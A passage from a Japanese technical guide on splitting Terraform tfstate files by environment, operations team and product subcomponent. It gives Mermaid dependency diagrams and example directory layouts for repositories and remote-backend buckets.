★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork▶ おすすめ度について【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例:アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)▶ おすすめ度について【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例:アプリ、ネットワーク、認証/認可、監視など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Things to Know Before Working With Terraform – Part 1 | EndavaTerraform organization — Part I : What if you split your components ? | by Amine Charot | Medium▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # 